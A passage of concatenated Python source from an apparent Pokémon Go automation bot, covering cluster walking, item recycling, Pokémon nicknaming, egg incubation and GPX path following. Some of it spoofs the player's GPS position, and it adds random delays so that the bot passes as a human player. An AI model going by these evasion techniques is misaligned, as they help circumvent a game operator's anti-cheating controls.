                    "Move to cluster: {num_points} {forts} "
                    "pokestops will be in range of {radius}. Walking {distance}m."
                )
                self.emit_event(
                    'found_cluster',
                    formatted=msg,
                    data={
                        'num_points': cnt,
                        'forts': log_lured_str,
                        'radius': str(self.radius),
                        'distance': str(round(distance(self.bot.position[0], self.bot.position[1], lat, lng), 2))
                    }
                )

                self.announced = False

                if self.bot.config.walk_max > 0:
                    step_walker = StepWalker(
                        self.bot,
                        lat,
                        lng
                    )

                    self.is_at_destination = False
                    if step_walker.step():
                        self.is_at_destination = True
                else:
                    alt = uniform(self.bot.config.alt_min, self.bot.config.alt_max)
                    self.bot.api.set_position(lat, lng, alt)

            elif not self.announced:
                self.emit_event(
                    'arrived_at_cluster',
                    formatted="Arrived at cluster. {num_points} {forts} pokestops are in a range of {radius}m radius.",
                    data={
                        'num_points': cnt,
                        'forts': log_lured_str,
                        'radius': self.radius
                    }
                )
                self.announced = True
        else:
            lat = self.bot.position[0]
            lng = self.bot.position[1]

        return [lat, lng]






import json
import os

from pokemongo_bot import inventory
from pokemongo_bot.base_dir import _base_dir
from pokemongo_bot.base_task import BaseTask
from pokemongo_bot.human_behaviour import action_delay
from pokemongo_bot.services.item_recycle_worker import ItemRecycler
from pokemongo_bot.tree_config_builder import ConfigException
from pokemongo_bot.worker_result import WorkerResult

DEFAULT_MIN_EMPTY_SPACE = 6

class RecycleItems(BaseTask):
    """
    Recycle undesired items if there is less than five space in inventory.
    You can use either item's name or id. For the full list of items see ../../data/items.json

    It's highly recommended to put this task before move_to_fort and spin_fort task in the config file so you'll most likely be able to loot.

    Example config :
    {
      "type": "RecycleItems",
      "config": {
        "min_empty_space": 6,           # 6 by default
        "max_balls_keep": 150,
        "max_potions_keep": 50,
        "max_berries_keep": 70,
        "max_revives_keep": 70,
        "item_filter": {
          "Pokeball": {"keep": 20},
          "Greatball": {"keep": 50},
          "Ultraball": {"keep": 100},
          "Potion": {"keep": 0},
          "Super Potion": {"keep": 0},
          "Hyper Potion": {"keep": 20},
          "Max Potion": {"keep": 50},
          "Revive": {"keep": 0},
          "Max Revive": {"keep": 20},
          "Razz Berry": {"keep": 20}
        }
      }
    }
    """
    SUPPORTED_TASK_API_VERSION = 1


    def initialize(self):
        self.items_filter = self.config.get('item_filter', {})
        self.min_empty_space = self.config.get('min_empty_space', None)
        self.max_balls_keep = self.config.get('max_balls_keep', None)
        self.max_potions_keep = self.config.get('max_potions_keep', None)
        self.max_berries_keep = self.config.get('max_berries_keep', None)
        self.max_revives_keep = self.config.get('max_revives_keep', None)
        self.recycle_wait_min = self.config.get('recycle_wait_min', 1)
        self.recycle_wait_max = self.config.get('recycle_wait_max', 4)
        self._validate_item_filter()

    def _validate_item_filter(self):
        """
        Validate user's item filter config
        :return: Nothing.
        :rtype: None
        :raise: ConfigException: When an item doesn't exist in ../../data/items.json
        """
        item_list = json.load(open(os.path.join(_base_dir, 'data', 'items.json')))
        for config_item_name, bag_count in self.items_filter.iteritems():
            if config_item_name not in item_list.viewvalues():
                if config_item_name not in item_list:
                    raise ConfigException(
                        "item {} does not exist, spelling mistake? (check for valid item names in data/items.json)".format(
                            config_item_name))

    def should_run(self):
        """
        Returns a value indicating whether the recycling process should be run.
        :return: True if the recycling process should be run; otherwise, False.
        :rtype: bool
        """
        if inventory.Items.get_space_left() <= (DEFAULT_MIN_EMPTY_SPACE if self.min_empty_space is None else self.min_empty_space):
            return True
        return False

    def work(self):
        """
        Start the process of recycling items if necessary.
        :return: Returns whether or not the task went well
        :rtype: WorkerResult
        """

        worker_result = WorkerResult.SUCCESS
        if self.should_run():

            if not (self.max_balls_keep is None):
                worker_result = self.recycle_excess_category_max(self.max_balls_keep, [1,2,3,4])
            if not (self.max_potions_keep is None):
                worker_result = self.recycle_excess_category_max(self.max_potions_keep, [101,102,103,104])
            if not (self.max_berries_keep is None):
                worker_result = self.recycle_excess_category_max(self.max_berries_keep, [701,702,703,704,705])
            if not (self.max_revives_keep is None):
                worker_result = self.recycle_excess_category_max(self.max_revives_keep, [201,202])

            inventory.refresh_inventory()

            for item_in_inventory in inventory.items().all():

                if self.item_should_be_recycled(item_in_inventory):
                    # Make the bot appears more human
                    action_delay(self.recycle_wait_min, self.recycle_wait_max)
                    # If at any recycling process call we got an error, we consider that the result of this task is error too.
                    if ItemRecycler(self.bot, item_in_inventory, self.get_amount_to_recycle(item_in_inventory)).work() == WorkerResult.ERROR:
                        worker_result = WorkerResult.ERROR
        return worker_result

    def recycle_excess_category_max(self, category_max, category_items_list):
        """
        Recycle the item which excess the category max
        :param category_max:
        :param category_items_list:
        :return: none:
        :rtype: None
        """
        worker_result = WorkerResult.SUCCESS
        category_inventory = self.get_category_inventory_list(category_items_list)
        category_count = 0
        for i in category_inventory:
           category_count = category_count + i[1]
        items_to_recycle = self.get_category_items_to_recycle(category_inventory, category_count, category_max)
        for item in items_to_recycle:
            action_delay(self.recycle_wait_min, self.recycle_wait_max)
            if ItemRecycler(self.bot, inventory.items().get(item[0]), item[1]).work() == WorkerResult.ERROR:
                worker_result = WorkerResult.ERROR
        return worker_result

    def get_category_inventory_list(self, category_inventory):
        """
        Returns an array of items with the item id and item count.
        :param category_inventory:
        :return: array of items within a category:
        :rtype: array
        """
        x = 0
        category_inventory_list = []
        for c in category_inventory:
            category_inventory_list.append([])
            category_inventory_list[x].append(c)
            category_inventory_list[x].append(inventory.items().get(c).count)
            x = x + 1
        return category_inventory_list

    def get_category_items_to_recycle(self, category_inventory, category_count, category_max):
        """
        Returns an array to be recycle within a category of items with the item id and item count.
        :param category_inventory:
        :param category_count:
        :param category_max:
        :return: array of items to be recycle.
        :rtype: array
        """
        x = 0
        items_to_recycle = []
        if category_count > category_max:
            items_to_be_recycled = category_count - category_max

            for item in category_inventory:
                if items_to_be_recycled == 0:
                    break
                if items_to_be_recycled >= item[1]:
                    items_to_recycle.append([])
                    items_to_recycle[x].append(item[0])
                    items_to_recycle[x].append(item[1])
                else:
                    items_to_recycle.append([])
                    items_to_recycle[x].append(item[0])
                    items_to_recycle[x].append(items_to_be_recycled)
                items_to_be_recycled = items_to_be_recycled - items_to_recycle[x][1]
                x = x + 1
        return items_to_recycle

    def item_should_be_recycled(self, item):
        """
        Returns a value indicating whether the item should be recycled.
        :param item: The Item to test
        :return: True if the title should be recycled; otherwise, False.
        :rtype: bool
        """
        return (item.name in self.items_filter or str(item.id) in self.items_filter) and self.get_amount_to_recycle(item) > 0

    def get_amount_to_recycle(self, item):
        """
        Determine the amount to recycle accordingly to user config
        :param item: Item to determine the amount to recycle.
        :return: The amount to recycle
        :rtype: int
        """
        amount_to_keep = self.get_amount_to_keep(item)
        return 0 if amount_to_keep is None else item.count - amount_to_keep

    def get_amount_to_keep(self, item):
        """
        Determine item's amount to keep in inventory.
        :param item:
        :return: Item's amount to keep in inventory.
        :rtype: int
        """
        item_filter_config = self.items_filter.get(item.name, 0)
        if item_filter_config is not 0:
            return item_filter_config.get('keep', 20)
        else:
            item_filter_config = self.items_filter.get(str(item.id), 0)
            if item_filter_config is not 0:
                return item_filter_config.get('keep', 20)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import os
import json
from pokemongo_bot.base_task import BaseTask
from pokemongo_bot.human_behaviour import sleep
from pokemongo_bot.inventory import pokemons, Pokemon, Attack

import re


DEFAULT_IGNORE_FAVORITES = False
DEFAULT_GOOD_ATTACK_THRESHOLD = 0.7
DEFAULT_TEMPLATE = '{name}'

MAXIMUM_NICKNAME_LENGTH = 12


class NicknamePokemon(BaseTask):
    SUPPORTED_TASK_API_VERSION = 1

    """
    Nickname user pokemons according to the specified template


    PARAMETERS:

    dont_nickname_favorite (default: False)
        Prevents renaming of favorited pokemons

    good_attack_threshold (default: 0.7)
        Threshold for perfection of the attack in it's type (0.0-1.0)
         after which attack will be treated as good.
        Used for {fast_attack_char}, {charged_attack_char}, {attack_code}
         templates

    nickname_template (default: '{name}')
        Template for nickname generation.
        Empty template or any resulting in the simple pokemon name
         (e.g. '', '{name}', ...) will revert all pokemon to their original
         names (as if they had no nickname).

        Niantic imposes a 12-character limit on all pokemon nicknames, so
         any new nickname will be truncated to 12 characters if over that limit.
        Thus, it is up to the user to exercise judgment on what template will
         best suit their need with this constraint in mind.

        You can use full force of the Python [Format String syntax](https://docs.python.org/2.7/library/string.html#formatstrings)
        For example, using `{name:.8s}` causes the Pokemon name to never take up
         more than 8 characters in the nickname. This would help guarantee that
         a template like `{name:.8s}_{iv_pct}` never goes over the 12-character
         limit.


    **NOTE:** If you experience frequent `Pokemon not found` error messages,
     this is because the inventory cache has not been updated after a pokemon
     was released. This can be remedied by placing the `NicknamePokemon` task
     above the `TransferPokemon` task in your `config.json` file.


    EXAMPLE CONFIG:
    {
      "type": "NicknamePokemon",
      "config": {
        "enabled": true,
        "dont_nickname_favorite": false,
        "good_attack_threshold": 0.7,
        "nickname_template": "{iv_pct}_{iv_ads}"
      }
    }


    SUPPORTED PATTERN KEYS:

    {name}  Pokemon name      (e.g. Articuno)
    {id}    Pokemon ID/Number (1-151)
    {cp}    Combat Points     (10-4145)

    # Individial Values
    {iv_attack}  Individial Attack (0-15) of the current specific pokemon
    {iv_defense} Individial Defense (0-15) of the current specific pokemon
    {iv_stamina} Individial Stamina (0-15) of the current specific pokemon
    {iv_ads}     Joined IV values (e.g. 4/12/9)
    {iv_sum}     Sum of the Individial Values (0-45)
    {iv_pct}     IV perfection (in 000-100 format - 3 chars)
    {iv_pct2}    IV perfection (in 00-99 format - 2 chars)
                    So 99 is best (it's a 100% perfection)
    {iv_pct1}    IV perfection (in 0-9 format - 1 char)
    {iv_ads_hex} Joined IV values in HEX (e.g. 4C9)

    # Basic Values of the pokemon (identical for all of one kind)
    {base_attack}   Basic Attack (40-284) of the current pokemon kind
    {base_defense}  Basic Defense (54-242) of the current pokemon kind
    {base_stamina}  Basic Stamina (20-500) of the current pokemon kind
    {base_ads}      Joined Basic Values (e.g. 125/93/314)

    # Final Values of the pokemon (Base Values + Individial Values)
    {attack}        Basic Attack + Individial Attack
    {defense}       Basic Defense + Individial Defense
    {stamina}       Basic Stamina + Individial Stamina
    {sum_ads}       Joined Final Values (e.g. 129/97/321)

    # IV CP perfection - it's a kind of IV perfection percent
    #  but calculated using weight of each IV in its contribution
    #  to CP of the best evolution of current pokemon.
    # So it tends to be more accurate than simple IV perfection.
    {ivcp_pct}      IV CP perfection (in 000-100 format - 3 chars)
    {ivcp_pct2}     IV CP perfection (in 00-99 format - 2 chars)
                        So 99 is best (it's a 100% perfection)
    {ivcp_pct1}     IV CP perfection (in 0-9 format - 1 char)

    # Character codes for fast/charged attack types.
    # If attack is good character is uppecased, otherwise lowercased.
    # Use 'good_attack_threshold' option for customization
    #
    # It's an effective way to represent type with one character.
    #   If first char of the type name is unique - use it,
    #    in other case suitable substitute used
    #
    # Type codes:
    #   Bug: 'B'
    #   Dark: 'K'
    #   Dragon: 'D'
    #   Electric: 'E'
    #   Fairy: 'Y'
    #   Fighting: 'T'
    #   Fire: 'F'
    #   Flying: 'L'
    #   Ghost: 'H'
    #   Grass: 'A'
    #   Ground: 'G'
    #   Ice: 'I'
    #   Normal: 'N'
    #   Poison: 'P'
    #   Psychic: 'C'
    #   Rock: 'R'
    #   Steel: 'S'
    #   Water: 'W'
    #
    {fast_attack_char}      One character code for fast attack type
                                (e.g. 'F' for good Fire or 's' for bad
                                Steel attack)
    {charged_attack_char}   One character code for charged attack type
                                (e.g. 'n' for bad Normal or 'I' for good
                                Ice attack)
    {attack_code}           Joined 2 character code for both attacks
                                (e.g. 'Lh' for pokemon with good Flying
                                and weak Ghost attacks)

    # Moveset perfection percents for attack and for defense
    #  Calculated for current pokemon only, not between all pokemons
    #  So perfect moveset can be weak if pokemon is weak (e.g. Caterpie)
    {attack_pct}   Moveset perfection for attack (in 000-100 format - 3 chars)
    {defense_pct}  Moveset perfection for defense (in 000-100 format - 3 chars)
    {attack_pct2}  Moveset perfection for attack (in 00-99 format - 2 chars)
    {defense_pct2} Moveset perfection for defense (in 00-99 format - 2 chars)
    {attack_pct1}  Moveset perfection for attack (in 0-9 format - 1 char)
    {defense_pct1} Moveset perfection for defense (in 0-9 format - 1 char)

    # Special case: pokemon object.
    # You can access any available pokemon info via it.
    # Examples:
    #   '{pokemon.ivcp:.2%}'             ->  '47.00%'
    #   '{pokemon.fast_attack}'          ->  'Wing Attack'
    #   '{pokemon.fast_attack.type}'     ->  'Flying'
    #   '{pokemon.fast_attack.dps:.2f}'  ->  '10.91'
    #   '{pokemon.fast_attack.dps:.0f}'  ->  '11'
    #   '{pokemon.charged_attack}'       ->  'Ominous Wind'
    {pokemon}   Pokemon instance (see inventory.py for class sources)


    EXAMPLES:

    1. "nickname_template": "{ivcp_pct}_{iv_pct}_{iv_ads}"

    Golbat with IV (attack: 9, defense: 4 and stamina: 8) will result in:
     '48_46_9/4/8'

    2. "nickname_template": "{attack_code}{attack_pct1}{defense_pct1}{ivcp_pct1}{name}"

    Same Golbat (with attacks Wing Attack & Ominous Wind) will have nickname:
     'Lh474Golbat'

    See /tests/nickname_test.py for more examples.
    """

    # noinspection PyAttributeOutsideInit
    def initialize(self):
        self.ignore_favorites = self.config.get(
            'dont_nickname_favorite', DEFAULT_IGNORE_FAVORITES)
        self.good_attack_threshold = self.config.get(
            'good_attack_threshold', DEFAULT_GOOD_ATTACK_THRESHOLD)
        self.template = self.config.get(
            'nickname_template', DEFAULT_TEMPLATE)
        self.nickname_above_iv = self.config.get(
            'nickname_above_iv', 0)

        self.translate = None
        locale = self.config.get('locale', 'en')
        if locale != 'en':
            fn = 'data/locales/{}.json'.format(locale)
            if os.path.isfile(fn):
                self.translate = json.load(open(fn))

    def work(self):
        """
        Iterate over all user pokemons and nickname if needed
        """
        for pokemon in pokemons().all():  # type: Pokemon
            if not pokemon.is_favorite or not self.ignore_favorites:
                if pokemon.iv >= self.nickname_above_iv:
                    self._nickname_pokemon(pokemon)

    def _localize(self, string):
        if self.translate and string in self.translate:
            return self.translate[string]
        else:
            return string

    def _nickname_pokemon(self, pokemon):
        # type: (Pokemon) -> None
        """
        Nicknaming process
        """

        # We need id of the specific pokemon unstance to be able to rename it
        instance_id = pokemon.unique_id
        if not instance_id:
            self.emit_event(
                'api_error',
                formatted='Failed to get pokemon name, will not rename.'
            )
            return

        # Generate new nickname
        old_nickname = pokemon.nickname
        try:
            new_nickname = self._generate_new_nickname(pokemon, self.template)
        except KeyError as bad_key:
            self.emit_event(
                'config_error',
                formatted="Unable to nickname {} due to bad template ({})"
                          .format(old_nickname, bad_key)
            )
            return

        # Skip if pokemon is already well named
        if pokemon.nickname_raw == new_nickname:
            return

        # Send request
        response = self.bot.api.nickname_pokemon(
            pokemon_id=instance_id, nickname=new_nickname)
        sleep(1.2)  # wait a bit after request

        # Check result
        try:
            result = reduce(dict.__getitem__, ["responses", "NICKNAME_POKEMON"],
                            response)['result']
        except KeyError:
            self.emit_event(
                'api_error',
                formatted='Attempt to nickname received bad response from server.'
            )
            return

        # Nickname unset
        if result == 0:
            self.emit_event(
                'unset_pokemon_nickname',
                formatted="Pokemon {old_name} nickname unset.",
                data={'old_name': old_nickname}
            )
            pokemon.update_nickname(new_nickname)
        elif result == 1:
            self.emit_event(
                'rename_pokemon',
                formatted="Pokemon {old_name} renamed to {current_name}",
                data={'old_name': old_nickname, 'current_name': new_nickname}
            )
            pokemon.update_nickname(new_nickname)
        elif result == 2:
            self.emit_event(
                'pokemon_nickname_invalid',
                formatted="Nickname {nickname} is invalid",
                data={'nickname': new_nickname}
            )
        else:
            self.emit_event(
                'api_error',
                formatted='Attempt to nickname received unexpected result'
                          ' from server ({}).'.format(result)
            )

    def _generate_new_nickname(self, pokemon, template):
        # type: (Pokemon, string) -> string
        """
        New nickname generation
        """

        # Filter template
        # only convert the keys to lowercase, leaving the format specifier alone
        template = re.sub(r"{[\w_\d]*", lambda x:x.group(0).lower(), template).strip()

        # Individial Values of the current specific pokemon (different for each)
        iv_attack = pokemon.iv_attack
        iv_defense = pokemon.iv_defense
        iv_stamina = pokemon.iv_stamina
        iv_list = [iv_attack, iv_defense, iv_stamina]
        iv_sum = sum(iv_list)
        iv_pct = iv_sum / 45.0

        # Basic Values of the pokemon (identical for all of one kind)
        base_attack = pokemon.static.base_attack
        base_defense = pokemon.static.base_defense
        base_stamina = pokemon.static.base_stamina

        # Final Values of the pokemon
        attack = base_attack + iv_attack
        defense = base_defense + iv_defense
        stamina = base_stamina + iv_stamina

        # One character codes for fast/charged attack types
        # If attack is good then character is uppecased, otherwise lowercased
        fast_attack_char = self.attack_char(pokemon.fast_attack)
        charged_attack_char = self.attack_char(pokemon.charged_attack)
        # 2 characters code for both attacks of the pokemon
        attack_code = fast_attack_char + charged_attack_char

        moveset = pokemon.moveset

        pokemon.name = self._localize(pokemon.name)

        #
        # Generate new nickname
        #
        new_name = template.format(
            # Pokemon
            pokemon=pokemon,
            # Pokemon name
            name=pokemon.name,
            # Pokemon ID/Number
            id=int(pokemon.pokemon_id),
            # Combat Points
            cp=int(pokemon.cp),

            # Individial Values of the current specific pokemon
            iv_attack=iv_attack,
            iv_defense=iv_defense,
            iv_stamina=iv_stamina,
            # Joined IV values like: 4/12/9
            iv_ads='/'.join(map(str, iv_list)),
            # Joined IV values in HEX like: 4C9
            iv_ads_hex = ''.join(map(lambda x: format(x, 'X'), iv_list)),
            # Sum of the Individial Values
            iv_sum=iv_sum,
            # IV perfection (in 000-100 format - 3 chars)
            iv_pct="{:03.0f}".format(iv_pct * 100),
            # IV perfection (in 00-99 format - 2 chars)
            #  99 is best (it's a 100% perfection)
            iv_pct2="{:02.0f}".format(iv_pct * 99),
            # IV perfection (in 0-9 format - 1 char)
            #  9 is best (it's a 100% perfection)
            iv_pct1=int(round(iv_pct * 9)),

            # Basic Values of the pokemon (identical for all of one kind)
            base_attack=base_attack,
            base_defense=base_defense,
            base_stamina=base_stamina,
            # Joined Base Values like: 125/93/314
            base_ads='/'.join(map(str, [base_attack, base_defense, base_stamina])),

            # Final Values of the pokemon (Base Values + Individial Values)
            attack=attack,
            defense=defense,
            stamina=stamina,
            # Joined Final Values like: 129/97/321
            sum_ads='/'.join(map(str, [attack, defense, stamina])),

            # IV CP perfection (in 000-100 format - 3 chars)
            # It's a kind of IV perfection percent but calculated
            #  using weight of each IV in its contribution to CP of the best
            #  evolution of current pokemon
            # So it tends to be more accurate than simple IV perfection
            ivcp_pct="{:03.0f}".format(pokemon.ivcp * 100),
            # IV CP perfection (in 00-99 format - 2 chars)
            ivcp_pct2="{:02.0f}".format(pokemon.ivcp * 99),
            # IV CP perfection (in 0-9 format - 1 char)
            ivcp_pct1=int(round(pokemon.ivcp * 9)),

            # One character code for fast attack type
            # If attack is good character is uppecased, otherwise lowercased
            fast_attack_char=fast_attack_char,
            # One character code for charged attack type
            charged_attack_char=charged_attack_char,
            # 2 characters code for both attacks of the pokemon
            attack_code=attack_code,

            # Moveset perfection for attack and for defense (in 000-100 format)
            #  Calculated for current pokemon only, not between all pokemons
            #  So perfect moveset can be weak if pokemon is weak (e.g. Caterpie)
            attack_pct="{:03.0f}".format(moveset.attack_perfection * 100),
            defense_pct="{:03.0f}".format(moveset.defense_perfection * 100),

            # Moveset perfection (in 00-99 format - 2 chars)
            attack_pct2="{:02.0f}".format(moveset.attack_perfection * 99),
            defense_pct2="{:02.0f}".format(moveset.defense_perfection * 99),

            # Moveset perfection (in 0-9 format - 1 char)
            attack_pct1=int(round(moveset.attack_perfection * 9)),
            defense_pct1=int(round(moveset.defense_perfection * 9)),
        )

        # Use empty result for unsetting nickname
        # So original pokemon name will be shown to user
        if new_name == pokemon.name:
            new_name = ''

        # 12 is a max allowed length for the nickname
        return new_name[:MAXIMUM_NICKNAME_LENGTH]

    def attack_char(self, attack):
        # type: (Attack) -> string
        """
        One character code for attack type
        If attack is good then character is uppecased, otherwise lowercased

        Type codes:

        Bug: 'B'
        Dark: 'K'
        Dragon: 'D'
        Electric: 'E'
        Fairy: 'Y'
        Fighting: 'T'
        Fire: 'F'
        Flying: 'L'
        Ghost: 'H'
        Grass: 'A'
        Ground: 'G'
        Ice: 'I'
        Normal: 'N'
        Poison: 'P'
        Psychic: 'C'
        Rock: 'R'
        Steel: 'S'
        Water: 'W'

        it's an effective way to represent type with one character
        if first char is unique - use it, in other case suitable substitute used
        """
        char = attack.type.as_one_char.upper()
        if attack.rate_in_type < self.good_attack_threshold:
            char = char.lower()
        return char






from datetime import datetime, timedelta

from pokemongo_bot.human_behaviour import sleep
from pokemongo_bot.base_task import BaseTask


class IncubateEggs(BaseTask):
    SUPPORTED_TASK_API_VERSION = 1

    last_km_walked = 0

    def initialize(self):
        self.next_update = None
        self.ready_incubators = []
        self.used_incubators = []
        self.eggs = []
        self.km_walked = 0
        self.hatching_animation_delay = 4.20
        self.max_iv = 45.0

        self._process_config()

    def _process_config(self):
        self.longer_eggs_first = self.config.get("longer_eggs_first", True)
        self.min_interval = self.config.get('min_interval', 120)

    def work(self):
        try:
            self._check_inventory()
        except:
            return

        if self.used_incubators and IncubateEggs.last_km_walked != self.km_walked:
            self.used_incubators.sort(key=lambda x: x.get("km"))
            km_left = self.used_incubators[0]['km']-self.km_walked
            if km_left <= 0:
                self._hatch_eggs()
            else:
                self.bot.metrics.next_hatching_km(km_left)

        if self._should_print():
            self._print_eggs()
            self._compute_next_update()

        IncubateEggs.last_km_walked = self.km_walked

        sorting = self.longer_eggs_first
        self.eggs.sort(key=lambda x: x.get("km"), reverse=sorting)

        if self.ready_incubators:
            self._apply_incubators()

    def _apply_incubators(self):
        for incubator in self.ready_incubators:
            if incubator.get('used', False):
                continue
            for egg in self.eggs:
                if egg["used"] or egg["km"] == -1:
                    continue
                self.emit_event(
                    'incubate_try',
                    level='debug',
                    formatted="Attempting to apply incubator {incubator_id} to egg {egg_id}",
                    data={
                        'incubator_id': incubator['id'],
                        'egg_id': egg['id']
                    }
                )
                ret = self.bot.api.use_item_egg_incubator(
                    item_id=incubator["id"],
                    pokemon_id=egg["id"]
                )
                if ret:
                    code = ret.get("responses", {}).get("USE_ITEM_EGG_INCUBATOR", {}).get("result", 0)
                    if code == 1:
                        self.emit_event(
                            'incubate',
                            formatted='Incubating a {distance_in_km} egg.',
                            data={
                                'distance_in_km': str(egg['km'])
                            }
                        )
                        egg["used"] = True
                        incubator["used"] = True
                        break
                    elif code == 5 or code == 7:
                        self.emit_event(
                            'incubator_already_used',
                            level='debug',
                            formatted='Incubator in use.',
                        )
                        incubator["used"] = True
                        break
                    elif code == 6:
                        self.emit_event(
                            'egg_already_incubating',
                            level='debug',
                            formatted='Egg already incubating',
                        )
                        egg["used"] = True

    def _check_inventory(self, lookup_ids=[]):
        inv = {}
        response_dict = self.bot.api.get_inventory()
        matched_pokemon = []
        temp_eggs = []
        temp_used_incubators = []
        temp_ready_incubators = []
        inv = reduce(
            dict.__getitem__,
            ["responses", "GET_INVENTORY", "inventory_delta", "inventory_items"],
            response_dict
        )
        for inv_data in inv:
            inv_data = inv_data.get("inventory_item_data", {})
            if "egg_incubators" in inv_data:
                temp_used_incubators = []
                temp_ready_incubators = []
                incubators = inv_data.get("egg_incubators", {}).get("egg_incubator",[])
                if isinstance(incubators, basestring):  # checking for old response
                    incubators = [incubators]
                for incubator in incubators:
                    if 'pokemon_id' in incubator:
                        start_km = incubator.get('start_km_walked', 9001)
                        km_walked = incubator.get('target_km_walked', 9001)
                        temp_used_incubators.append({
                            "id": incubator.get('id', -1),
                            "km": km_walked,
                            "km_needed": (km_walked - start_km)
                        })
                    else:
                        temp_ready_incubators.append({
                            "id": incubator.get('id', -1)
                        })
                continue
            if "pokemon_data" in inv_data:
                pokemon = inv_data.get("pokemon_data", {})
                if pokemon.get("is_egg", False) and "egg_incubator_id" not in pokemon:
                    temp_eggs.append({
                        "id": pokemon.get("id", -1),
                        "km": pokemon.get("egg_km_walked_target", -1),
                        "used": False
                    })
                elif 'is_egg' not in pokemon and pokemon['id'] in lookup_ids:
                    pokemon.update({
                        "iv": [
                            pokemon.get('individual_attack', 0),
                            pokemon.get('individual_defense', 0),
                            pokemon.get('individual_stamina', 0)
                        ]})
                    matched_pokemon.append(pokemon)
                continue
            if "player_stats" in inv_data:
                self.km_walked = inv_data.get("player_stats", {}).get("km_walked", 0)
        if temp_used_incubators:
            self.used_incubators = temp_used_incubators
        if temp_ready_incubators:
            self.ready_incubators = temp_ready_incubators
        if temp_eggs:
            self.eggs = temp_eggs
        return matched_pokemon

    def _hatch_eggs(self):
        response_dict = self.bot.api.get_hatched_eggs()
        log_color = 'green'
        try:
            result = reduce(dict.__getitem__, ["responses", "GET_HATCHED_EGGS"], response_dict)
        except KeyError:
            return
        pokemon_ids = []
        if 'pokemon_id' in result:
            pokemon_ids = [id for id in result['pokemon_id']]
        stardust = result.get('stardust_awarded', "error")
        candy = result.get('candy_awarded', "error")
        xp = result.get('experience_awarded', "error")
        sleep(self.hatching_animation_delay)
        self.bot.latest_inventory = None
        try:
            pokemon_data = self._check_inventory(pokemon_ids)
            for pokemon in pokemon_data:
                # pokemon ids seem to be offset by one
                if pokemon['pokemon_id']!=-1:
                    pokemon['name'] = self.bot.pokemon_list[(pokemon.get('pokemon_id')-1)]['Name']
                else:
                    pokemon['name'] = "error"
        except:
            pokemon_data = [{"name":"error","cp":"error","iv":"error"}]
        if not pokemon_ids or pokemon_data[0]['name'] == "error":
            self.emit_event(
                'egg_hatched',
                data={
                    'pokemon': 'error',
                    'cp': 'error',
                    'iv': 'error',
                    'exp': 'error',
                    'stardust': 'error',
                    'candy': 'error',
                }
            )
            return
        for i in range(len(pokemon_data)):
            msg = "Egg hatched with a {pokemon} (CP {cp} - IV {iv}), {exp} exp, {stardust} stardust and {candy} candies."
            self.bot.metrics.hatched_eggs(1)
            self.emit_event(
                'egg_hatched',
                formatted=msg,
                data={
                    'pokemon': pokemon_data[i]['name'],
                    'cp': pokemon_data[i]['cp'],
                    'iv': "{} {}".format(
                        "/".join(map(str, pokemon_data[i]['iv'])),
                        round(sum(pokemon_data[i]['iv'])/self.max_iv, 2)
                    ),
                    'exp': xp[i],
                    'stardust': stardust[i],
                    'candy': candy[i],
                }
            )

    def _print_eggs(self):
        if not self.used_incubators:
            return

        self.used_incubators.sort(key=lambda x: x.get("km"))
        
        eggs = ['{:.2f}/{} km'.format(e['km_needed']-e['km']+self.km_walked, e['km_needed']) for e in self.used_incubators]

        self.emit_event(
                    'next_egg_incubates',
                    formatted='Eggs incubating: [{eggs}] (Eggs left: {eggs_left}, Incubating: {eggs_inc})',
                    data={
                        'eggs_left': len(self.eggs),
                        'eggs_inc': len(self.used_incubators),
                        'eggs': ', '.join(eggs)
                    }
                )
        
    def _should_print(self):
        """
        Returns a value indicating whether the eggs should be displayed.
        :return: True if the stats should be displayed; otherwise, False.
        :rtype: bool
        """
        return self.next_update is None or datetime.now() >= self.next_update

    def _compute_next_update(self):
        """
        Computes the next update datetime based on the minimum update interval.
        :return: Nothing.
        :rtype: None
        """
        self.next_update = datetime.now() + timedelta(seconds=self.min_interval)





# -*- coding: utf-8 -*-

import gpxpy
import gpxpy.gpx
import json
from pokemongo_bot.base_task import BaseTask
from pokemongo_bot.cell_workers.utils import distance, i2f, format_dist
from pokemongo_bot.human_behaviour import sleep
from pokemongo_bot.walkers.step_walker import StepWalker
from pgoapi.utilities import f2i
from random import uniform
from utils import getSeconds
from datetime import datetime as dt, timedelta

class FollowPath(BaseTask):
    SUPPORTED_TASK_API_VERSION = 1

    def initialize(self):
        self._process_config()
        self.points = self.load_path()

        if self.path_start_mode == 'closest':
            self.ptr = self.find_closest_point_idx(self.points)

        else:
            self.ptr = 0

    def _process_config(self):
        self.path_file = self.config.get("path_file", None)
        self.path_mode = self.config.get("path_mode", "linear")
        self.path_start_mode = self.config.get("path_start_mode", "first")
        self.number_lap_max = self.config.get("number_lap", -1) # if < 0, then the number is inf.
        self.timer_restart_min = getSeconds(self.config.get("timer_restart_min", "00:20:00"))
        self.timer_restart_max = getSeconds(self.config.get("timer_restart_max", "02:00:00"))

        if self.timer_restart_min > self.timer_restart_max:
            raise ValueError('path timer_restart_min is bigger than path timer_restart_max') #TODO there must be a more elegant way to do it...
        
        #var not related to configs
        self.number_lap = 0
        
    def load_path(self):
        if self.path_file is None:
            raise RuntimeError('You need to specify a path file (json or gpx)')

        if self.path_file.endswith('.json'):
            return self.load_json()
        elif self.path_file.endswith('.gpx'):
            return self.load_gpx()

    def load_json(self):
        with open(self.path_file) as data_file:
            points=json.load(data_file)
        # Replace Verbal Location with lat&lng.
        for index, point in enumerate(points):
            point_tuple = self.bot.get_pos_by_name(point['location'])
            self.emit_event(
                'location_found',
                level='debug',
                formatted="Location found: {location} {position}",
                data={
                    'location': point,
                    'position': point_tuple
                }
            )
            points[index] = self.lat_lng_tuple_to_dict(point_tuple)
        return points

    def lat_lng_tuple_to_dict(self, tpl):
        return {'lat': tpl[0], 'lng': tpl[1]}

    def load_gpx(self):
        gpx_file = open(self.path_file, 'r')
        gpx = gpxpy.parse(gpx_file)

        if len(gpx.tracks) == 0:
            raise RuntimeError('GPX file does not contain a track')

        points = []
        track = gpx.tracks[0]
        for segment in track.segments:
            for point in segment.points:
                points.append({"lat": point.latitude, "lng": point.longitude, "alt": point.elevation})

        return points

    def find_closest_point_idx(self, points):

        return_idx = 0
        min_distance = float("inf");
        for index in range(len(points)):
            point = points[index]
            botlat = self.bot.api._position_lat
            botlng = self.bot.api._position_lng
            lat = float(point['lat'])
            lng = float(point['lng'])

            dist = distance(
                botlat,
                botlng,
                lat,
                lng
            )

            if dist < min_distance:
                min_distance = dist
                return_idx = index

        return return_idx

    def endLaps(self):
        duration = int(uniform(self.timer_restart_min, self.timer_restart_max))
